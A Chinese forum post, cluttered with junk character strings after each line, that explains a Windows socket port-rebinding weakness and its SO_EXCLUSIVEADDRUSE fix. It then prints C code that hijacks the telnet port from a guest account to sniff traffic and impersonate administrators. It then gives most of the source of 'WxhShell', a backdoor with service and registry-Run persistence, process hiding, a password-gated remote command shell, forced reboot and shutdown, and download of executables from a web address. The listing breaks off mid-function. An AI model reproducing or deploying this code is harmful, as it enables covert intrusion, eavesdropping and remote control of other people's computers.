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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B8T\s)fxnX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W|MWXs5'1*  
!K cWH9  
  saddr.sin_family = AF_INET; V1B(|P  
pMR,#[U<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~6`iY@)  
TBCp L]QT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BcQEG *N  
%@?A_jS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m:uPEpcU  
3`*Kav>"  
  这意味着什么?意味着可以进行如下的攻击: f'X9HU{Cz  
/c`^iPb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @PI%FV z~p  
1!1!PA9u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qmglb:"  
dRW$T5dac  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +5!&E7bcd  
`zA#z />  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +bA%  
0 Y>M=|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <YB9Ac~}z  
;AX8aw,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D+JAK!W  
29&bbfU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :"Y*<=x#2  
DY\J[l<<  
  #include -]srp;=i  
  #include u 8^{  
  #include !4(zp;WY^  
  #include    |kJ%`j(7R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v+G=E2Lhv  
  int main() QA3/   
  { T/pqSmVpM  
  WORD wVersionRequested; ^7^N}x@  
  DWORD ret; -0Cnp/Yj@  
  WSADATA wsaData; 5T@aCC@$h  
  BOOL val; Qm4o7x{q  
  SOCKADDR_IN saddr; _n;;][]S  
  SOCKADDR_IN scaddr; k D5!}+y  
  int err; rx0~`cVV:  
  SOCKET s; iK5_u2]Q  
  SOCKET sc; :Dt~e|  
  int caddsize; UC HZ2&  
  HANDLE mt; ;G\8jP'   
  DWORD tid;   ,m_WR7!$E  
  wVersionRequested = MAKEWORD( 2, 2 ); Q GZyL)Q  
  err = WSAStartup( wVersionRequested, &wsaData ); ,<-G<${  
  if ( err != 0 ) { C;+h.;}<D  
  printf("error!WSAStartup failed!\n"); Fqy\CMC  
  return -1; >J9oH=S6  
  } _>+8og/%@  
  saddr.sin_family = AF_INET; F$BbYf2i  
   HpZ1xT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9KWuN:Sg  
ryB}b1`D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _{<seA  
  saddr.sin_port = htons(23); 1u3, '8F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;oZ)Wt  
  { 7lV.[&aKW  
  printf("error!socket failed!\n"); >NYW{(j  
  return -1; [S5\#=_4S  
  } k:jSbbQ  
  val = TRUE; @,Gxk   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (T`E!A0I\?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v ~QHMg  
  { ~t9tnLc$  
  printf("error!setsockopt failed!\n"); *na?n2Yzt  
  return -1; IxLhU45  
  } YIw1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I:K"'R^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WSuww  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;rc`OZyE  
ck?YI]q|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }=c85f~i  
  { Tg!m`9s+  
  ret=GetLastError(); C74a(Bk}H  
  printf("error!bind failed!\n"); wF((  
  return -1; Fu!RhsW5j  
  } R(q~ -3~  
  listen(s,2); ^#-nE7  
  while(1) n{6G"t:^l  
  { uj :%#u  
  caddsize = sizeof(scaddr); 0PlO(" ,a  
  //接受连接请求 '7XIhN9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X5 j1`t,  
  if(sc!=INVALID_SOCKET) z^T`x_mF  
  { hCC<?5q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^]TVo\,N  
  if(mt==NULL) =Xo =Qcr  
  { 6Vz9?puD  
  printf("Thread Creat Failed!\n"); q FAT]{{  
  break; iyg*Xbmi~.  
  } Ytl4kaYS  
  } yU9DSY\m{  
  CloseHandle(mt); -3Hy*1A.  
  } ;qm D50:%  
  closesocket(s); Z'\h  
  WSACleanup(); r,h%[JKM  
  return 0; ljb7oA3cP4  
  }   "'t0h{W r8  
  DWORD WINAPI ClientThread(LPVOID lpParam) [n :<8ho  
  { {GQ^fu;q  
  SOCKET ss = (SOCKET)lpParam; N<XNTf  
  SOCKET sc; neLAEHV  
  unsigned char buf[4096]; ev*k*0  
  SOCKADDR_IN saddr; sVOyT*GY  
  long num; S[J}UpV  
  DWORD val; B!?%O  
  DWORD ret; 8|\8O@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g\&g N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]GW]dM  
  saddr.sin_family = AF_INET; 5fd]v<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =,6z4" )  
  saddr.sin_port = htons(23); 'F9jq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oU.R2\Q  
  { u)+8S/ )  
  printf("error!socket failed!\n"); ,Ge"anO  
  return -1; 5Ou`z5S\k  
  } xD~5UER  
  val = 100; Na]:_K5Dp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X:nN0p #  
  { RwpdRBb  
  ret = GetLastError(); ~E2KZm  
  return -1; klT@cO-9  
  } !xo{-@@wS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ws|j#X<  
  { f Sa"%8%  
  ret = GetLastError(); c7x~{V8  
  return -1; f'EuY17w  
  } LnH?dy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CVL3VT1j0  
  { .$+#1-  
  printf("error!socket connect failed!\n"); 'h|DO/X~L  
  closesocket(sc); Krqtf  
  closesocket(ss); W{6|tx)  
  return -1; Z`ID+  
  } su{poQ}K  
  while(1) @#T|Y&  
  { jCOIuw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R;&AijS8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SB H(y)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :L F?  
  num = recv(ss,buf,4096,0); '"0'Oua  
  if(num>0) ;- ~B)M_S`  
  send(sc,buf,num,0); p6>Svcc  
  else if(num==0) G\2 CR*  
  break; lb4Pcd j  
  num = recv(sc,buf,4096,0); S&Zm0Ku  
  if(num>0) /R]U}o^/(%  
  send(ss,buf,num,0); qkDI](4  
  else if(num==0) jnO9j_CY  
  break; {FeDvhv  
  } BC&S>#\  
  closesocket(ss); `VA"vwz  
  closesocket(sc); =_JjmTy;a  
  return 0 ; %g{X?  
  } :}'=`wa  
jS]ru-5.  
Y,<{vLEC  
========================================================== %9KldcQ}~  
`i3NG1 v0  
下边附上一个代码,,WXhSHELL 4VJ-,Z  
I8hz(2jI  
========================================================== x -WmMfcz&  
L iN$ pwm  
#include "stdafx.h" 3`t#UY).F  
a!6{:8Zi0  
#include <stdio.h> GZN ^k+w  
#include <string.h> (y=C_wvqZ  
#include <windows.h> W9 GxXPA  
#include <winsock2.h> X9v.1s,  
#include <winsvc.h> ;w{tv($$  
#include <urlmon.h> b|l:fT?&  
oR)Jznmi}  
#pragma comment (lib, "Ws2_32.lib") R1adWBD>  
#pragma comment (lib, "urlmon.lib") @K  &GJ  
jFQQ`O V  
#define MAX_USER   100 // 最大客户端连接数 hO\<%0F  
#define BUF_SOCK   200 // sock buffer q<xCb%#Jl  
#define KEY_BUFF   255 // 输入 buffer |7'df&CA  
%<\vGqsM  
#define REBOOT     0   // 重启 Qf~vZtJ+J  
#define SHUTDOWN   1   // 关机 Sq>dt[7  
^bGNq X  
#define DEF_PORT   5000 // 监听端口 CKYc\<zR0l  
N]>=p.#j  
#define REG_LEN     16   // 注册表键长度 /hr7NT{e%v  
#define SVC_LEN     80   // NT服务名长度 ~qiJR`Jj  
>{q]&}^U  
// 从dll定义API J{.{f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l5S aT,%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F&!6jv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {{$Nqn,pH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F|S Xn\  
z Xg3[orF  
// wxhshell配置信息 ]J1dtN=  
struct WSCFG { du<tGsy  
  int ws_port;         // 监听端口 FvaUsOy "  
  char ws_passstr[REG_LEN]; // 口令 JrJo|0Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no nD_GL  
  char ws_regname[REG_LEN]; // 注册表键名 ak7bJ~)X=  
  char ws_svcname[REG_LEN]; // 服务名 u4t7Ie*Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rMdt:`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $njUXSQ;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z6KCv(zvB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "M<8UE\n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0z`a1 %U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TJ10s%,V  
sQYkQ81  
}; }5ret  
.<->C?#  
// default Wxhshell configuration R[zpD%CI  
struct WSCFG wscfg={DEF_PORT, ux=w!y;}  
    "xuhuanlingzhe", ;;!yC  
    1, vDp8__^  
    "Wxhshell", 2":pE U{E  
    "Wxhshell", J9\Cm!H  
            "WxhShell Service", +Zb;Vn4  
    "Wrsky Windows CmdShell Service", LD+{o4i  
    "Please Input Your Password: ", !44/sr'  
  1, Cz9xZA{[M  
  "http://www.wrsky.com/wxhshell.exe", qLO4#CKCL6  
  "Wxhshell.exe" @KXV%a'  
    }; (o 5s"b  
.yMEIUm  
// 消息定义模块 [zH:1Zhl&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^7 w+l @  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F|IAiE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [u =+3b  
char *msg_ws_ext="\n\rExit."; Jz\%%C  
char *msg_ws_end="\n\rQuit."; b(,M1.[qt  
char *msg_ws_boot="\n\rReboot..."; {AhthR%(1  
char *msg_ws_poff="\n\rShutdown..."; 5GI,o|[s6  
char *msg_ws_down="\n\rSave to "; iJ ($YvF4  
=-0/k;^  
char *msg_ws_err="\n\rErr!"; Q0)#8Rcm  
char *msg_ws_ok="\n\rOK!"; 9"N~yKa`"K  
XD!W: uvb  
char ExeFile[MAX_PATH]; 034iK[ib"  
int nUser = 0; Wvq27YK'  
HANDLE handles[MAX_USER]; ;o 6lf_  
int OsIsNt; t=BUN  
/}((l%UE.  
SERVICE_STATUS       serviceStatus; s,"]aew  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^4y,W]JUDt  
Wjo[ENHM  
// 函数声明 l^! ?@Kg,z  
int Install(void); D.r<QO~6B  
int Uninstall(void); fnpYT:%fG  
int DownloadFile(char *sURL, SOCKET wsh); HSw;^E)1  
int Boot(int flag); _jvxc'6  
void HideProc(void); SUMrFd~  
int GetOsVer(void); P:hBt\5B  
int Wxhshell(SOCKET wsl); I:E`PZ  
void TalkWithClient(void *cs); {yBs7[Wn  
int CmdShell(SOCKET sock); hnffz95  
int StartFromService(void); 5u,{6  
int StartWxhshell(LPSTR lpCmdLine); T tfo^ksw  
t^UxR@l<K|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p99 ]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v|Pv 03%?7  
`A,-@`p  
// 数据结构和表定义 7dN*lks  
SERVICE_TABLE_ENTRY DispatchTable[] = PoHg,n]  
{ ]dF ,:8  
{wscfg.ws_svcname, NTServiceMain}, bpOYHc6,*`  
{NULL, NULL} kF3k7,.8&  
}; -r!. 9q  
Mhm@R@  
// 自我安装 ;p.v]0]is  
int Install(void) `b?R#:G  
{ vXev$x=w-  
  char svExeFile[MAX_PATH]; #F:p-nOq  
  HKEY key; +*\u :n  
  strcpy(svExeFile,ExeFile); #9=Vg  
]v?@g:i E  
// 如果是win9x系统,修改注册表设为自启动 W}nlRbN?  
if(!OsIsNt) { ?)/#+[xa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3t.l5m Rg5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dR K?~1  
  RegCloseKey(key); +<'Ev~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _PPy44r2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S};#+ufgTt  
  RegCloseKey(key); ;^+\K-O]c  
  return 0; !zBhbmlKt  
    } HsxVZ.dS  
  } Upx G@b  
} 8aZ=?_gvT  
else { } F E>|1  
3W V"U  
// 如果是NT以上系统,安装为系统服务 x-XD.qh7Hr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FOb0uj=(v  
if (schSCManager!=0) f0!))/rSD  
{ 4d"r^y'  
  SC_HANDLE schService = CreateService CZ8KEBl  
  ( p}&#jE  
  schSCManager, .b_)%jd x  
  wscfg.ws_svcname, y~(h>gi,x  
  wscfg.ws_svcdisp, O3;u G.:1  
  SERVICE_ALL_ACCESS, hC:n5]K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ltv]pH}YN  
  SERVICE_AUTO_START, ,y1PbA0m  
  SERVICE_ERROR_NORMAL, ) g0%{dfJ  
  svExeFile, 0mpX)S  
  NULL, N%kt3vmQ_  
  NULL, eP.wOl  
  NULL, t9nqu!);  
  NULL, dMPc:tJT  
  NULL ^/uA?h:]\  
  ); H-WJp<_  
  if (schService!=0) lvdf^b/ j  
  { r`=+L-!  
  CloseServiceHandle(schService); fJ5iS  
  CloseServiceHandle(schSCManager); #TeG-sFJg@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZLc -RM  
  strcat(svExeFile,wscfg.ws_svcname); y?rPlA_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Uj=^leYO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d+<G1w&z  
  RegCloseKey(key); au N6prGe  
  return 0; vhe>)h*B  
    } Bz^jw>1b  
  } mGtdO/C#B  
  CloseServiceHandle(schSCManager); *7:>EP  
} .@2m07*1  
} Ua<5U5  
LVX[uWEM  
return 1; Mh~q//  
} M*y)6H k~  
]-PH^H  
// 自我卸载 3Ko/{f  
int Uninstall(void) " f <Z=c  
{ [V^WGW2oY  
  HKEY key; ?*2CpM&l  
4 <9=5q]  
if(!OsIsNt) { pSoiH<33  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VA WF3  
  RegDeleteValue(key,wscfg.ws_regname); 5BWH-2HsB  
  RegCloseKey(key); 1Y/s%L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uYn_? G  
  RegDeleteValue(key,wscfg.ws_regname); ;ZH3{  
  RegCloseKey(key); @"hb) 8ng  
  return 0; C.~,qmOP  
  } 5"^en# ?9  
} zxMX Xm;  
} gaQdG=G8$  
else { +lm{Olm'^  
Hv!U| L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %+f>2U4I  
if (schSCManager!=0) uPhK3nCGo  
{ tU4s'J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !i{aMxUP  
  if (schService!=0) 8u"!dq  
  { ~KHVY)@P  
  if(DeleteService(schService)!=0) { Qi^Z11  
  CloseServiceHandle(schService); 6 2'j!"xv  
  CloseServiceHandle(schSCManager); |s'Po^Sy  
  return 0; .>CPRVuVI  
  } X59: C3c  
  CloseServiceHandle(schService); Z9:-rcr  
  } q'|rgT  
  CloseServiceHandle(schSCManager); ,ek_R)&[o  
} >[MX:Yh  
} , 0imiv  
^.KwcXr  
return 1; >XK PTC5H  
} kB3H="3[[  
3 N.~mR  
// 从指定url下载文件 rQk<90Ar  
int DownloadFile(char *sURL, SOCKET wsh) J]v%q,"  
{ [ p{#XwN  
  HRESULT hr; X<i^qoV  
char seps[]= "/"; (}a8"]Z  
char *token; :ZTc7 }  
char *file; u\ #"L  
char myURL[MAX_PATH]; ?,p;O  
char myFILE[MAX_PATH]; !;0U,!WI  
E^QlJ8  
strcpy(myURL,sURL); vk+VP 1D  
  token=strtok(myURL,seps); DBPRGQ  
  while(token!=NULL) a d.3A{  
  { Q o?O:  
    file=token; M4zm,>?K  
  token=strtok(NULL,seps); } E0,z  
  } C 'v+f=  
)Gj8X}DM  
GetCurrentDirectory(MAX_PATH,myFILE); }2<r,  
strcat(myFILE, "\\"); N"8_S0=pw  
strcat(myFILE, file); M:-.o  
  send(wsh,myFILE,strlen(myFILE),0); xgpi-l  
send(wsh,"...",3,0); gXYI\.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }!;s.[y  
  if(hr==S_OK) \Kl+ 5%L  
return 0; &QDW9 Mi  
else ~;1l9^N|  
return 1; ]vgB4~4#LP  
[ JpKSTg[  
} }2(,K[?  
h!&prYx  
// 系统电源模块 ]F;f`o  
int Boot(int flag) MOsl_^c  
{ @\0Eu212  
  HANDLE hToken; R($KSui  
  TOKEN_PRIVILEGES tkp; gUxP>hB  
b /@#}Gc  
  if(OsIsNt) { <1FC%f/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0}$Hi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D$bIo "  
    tkp.PrivilegeCount = 1; lz"OC<D}(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ANJ$'3tg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V>R8GSx  
if(flag==REBOOT) { %1O;fQL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3T"j)R_=l  
  return 0; I3,= 0z  
} .Jt[(;  
else { V#cqRE3XNi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hz.(qW">5*  
  return 0; "kMguK}c  
} r9 ui|>U"  
  } T{Sb^-H#X  
  else { enp)-nS0  
if(flag==REBOOT) { #;%JT   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x9;gT&@H  
  return 0; 7Garnd b  
} dgA-MQ5{  
else { ^j" .  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KnsT\>[K  
  return 0; blTo5NLX  
}  A-4h  
} 8"dv_`ym  
?pn}s]*/  
return 1; 7VMvF/ap]u  
} u86"Y ^d#  
xKQ+{"?-^g  
// win9x进程隐藏模块 {_S}H1,  
void HideProc(void) zipS ]YD  
{ =dII- L=`  
~ECD`N<YF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QNA RkYY~|  
  if ( hKernel != NULL ) iMs5zf <M  
  { hRty [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WHjUR0NZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R}lsnX<  
    FreeLibrary(hKernel); [P 06lIO  
  } w9, iq@  
`FsH}UPu b  
return; z)9wXo#~  
} Xtp"QY p  
uO=aaKG  
// 获取操作系统版本 +"8,Mh  
int GetOsVer(void) \ gLHi~  
{ #|*F1K  
  OSVERSIONINFO winfo; Q($Z%1S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )hk   
  GetVersionEx(&winfo); tI7:5Cm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G3rj`Sg^c  
  return 1; hi0R.V&  
  else L+CyQq  
  return 0; TZ2=O<Kj  
} :'*DPB-  
7vABq(  
// 客户端句柄模块 ( YQWbOk  
int Wxhshell(SOCKET wsl) 6IWxPt ~  
{ {%IExPJ  
  SOCKET wsh; ,:??P1  
  struct sockaddr_in client;  w~ [b*$  
  DWORD myID; f|R"u W +  
u%/goxA  
  while(nUser<MAX_USER) #*TEq  
{ `;>= '"O!\  
  int nSize=sizeof(client); 3bDQk :L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fd#m<"  
  if(wsh==INVALID_SOCKET) return 1; oI.G-ChP  
l'\pk<V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lKlU-4  
if(handles[nUser]==0) PSPmO'C+  
  closesocket(wsh); wlEdt1G  
else * 1Od-3  
  nUser++; {; .T7dL  
  } Ma+$g1$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ur5FC r  
 +QE^\a  
  return 0; m+#iR}*1L  
} 1P(|[W1  
,}:G\u*Fu  
// 关闭 socket wbe<'/X+  
void CloseIt(SOCKET wsh) T}4/0yR2  
{ F35#dIs`&  
closesocket(wsh); 2^)1N>"g  
nUser--; ZeEWp3vW  
ExitThread(0); ^;Sy. W&`  
} z^GDJddG  
vmLxkjUm#  
// 客户端请求句柄 ($L Ll;1  
void TalkWithClient(void *cs) jaa"~5TO8  
{ \TF!S"V  
%~jkB.\* )  
  SOCKET wsh=(SOCKET)cs; <D::9c j  
  char pwd[SVC_LEN]; H_0/f8GwnG  
  char cmd[KEY_BUFF]; *FmTy|  
char chr[1]; 8X I?  
int i,j; P(;?kg}0  
I8QjKI (  
  while (nUser < MAX_USER) { l983vKr  
%/>Y/!;  
if(wscfg.ws_passstr) { 9 JWa$iBH@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rcawc Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JXw^/Y$  
  //ZeroMemory(pwd,KEY_BUFF); STglw-TC\  
      i=0; 3LfC{ER  
  while(i<SVC_LEN) { in(U:04  
zLF?P3^  
  // 设置超时 m~dC3}e8/?  
  fd_set FdRead; =b[_@zq]  
  struct timeval TimeOut; o}<4*qlI  
  FD_ZERO(&FdRead); !xwG% {_  
  FD_SET(wsh,&FdRead); ]XTu+T.aT  
  TimeOut.tv_sec=8; Z( 9 u<  
  TimeOut.tv_usec=0; ;/0 Q1-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !o>H1#2l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /[9t`  
e5OsI Vtjr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sg8/#_S1i  
  pwd=chr[0]; M{$j  
  if(chr[0]==0xd || chr[0]==0xa) { )LdyC`S\c  
  pwd=0; .-JCwnP  
  break; |Xw/E)jA  
  } '}rRzD:  
  i++; t#S<iBAZ  
    } ay %KE=*v  
1-Po Z[p-R  
  // 如果是非法用户,关闭 socket $ -c!W!H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^::EikpF%  
} P1zdK0TM  
?\#N9 +{W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <BW[1h1k5_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ncSFj.}w]  
u-1;'a  
while(1) { ^{\<N()R  
(708H_  
  ZeroMemory(cmd,KEY_BUFF); c)Ic#<e(  
fi+R2p~vs  
      // 自动支持客户端 telnet标准   ~h"/Tce  
  j=0; 8`b`QtGf  
  while(j<KEY_BUFF) { IQ!\w-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gaf$uT2  
  cmd[j]=chr[0]; @A+RVg*=  
  if(chr[0]==0xa || chr[0]==0xd) { ex<O]kPFE  
  cmd[j]=0; suH&jE$x  
  break; Nk[2nyeO>  
  } St<mDTi  
  j++; vm'5s]kdh  
    } @w>zF/  
WsFk:h'r  
  // 下载文件 tV9L D>3  
  if(strstr(cmd,"http://")) { ](B@5-^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $O{duJU  
  if(DownloadFile(cmd,wsh)) s!9dQ.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |8bq>01~  
  else fgj^bcp-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N-g8}03  
  } ?DH"V7bs  
  else { '&99?s`u  
w0ZLcND{  
    switch(cmd[0]) { 7?v#'Ie s  
  2qi'g:qe  
  // 帮助 63!rUB!  
  case '?': { JxjI]SF02  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UA~RK2k?  
    break; {"vkji>  
  } W- $a Y2  
  // 安装 5/QRL\  
  case 'i': { cE iu)2*e  
    if(Install()) SI_iI71  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ j.x0/;  
    else S?{ /hy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .d?%;2*{q  
    break; `mH %!{P  
    } f(D_FTTO  
  // 卸载 ]MtFf6&  
  case 'r': { Kd3?I5t  
    if(Uninstall()) 0Y]0!}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B$KwkhMe  
    else ~dHM4lGY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |BZDhd9<{  
    break; WS2os Bc  
    } ^Cv^yTj;&  
  // 显示 wxhshell 所在路径 ]l~V&#i_c  
  case 'p': { >O/ D!j|  
    char svExeFile[MAX_PATH]; !'=15&5@  
    strcpy(svExeFile,"\n\r"); }<jb vCeK  
      strcat(svExeFile,ExeFile); mfny4R1_  
        send(wsh,svExeFile,strlen(svExeFile),0); -;;Z 'NM;8  
    break; i{^Z1;Yl  
    } ^O^:$nXhYy  
  // 重启 )U:2z-X&e  
  case 'b': { ]ALc;lb-}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rs=q! P"u[  
    if(Boot(REBOOT)) QHBtWQgS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7{oe ->r  
    else { YYg)  
    closesocket(wsh); ~Cc.cce5  
    ExitThread(0); 3ew8m}A{O  
    } fU2qrcVu  
    break; ?@6/Alk  
    } |DF9cd^  
  // 关机 i v(5&'[p  
  case 'd': { "tS'b+SJ-S  
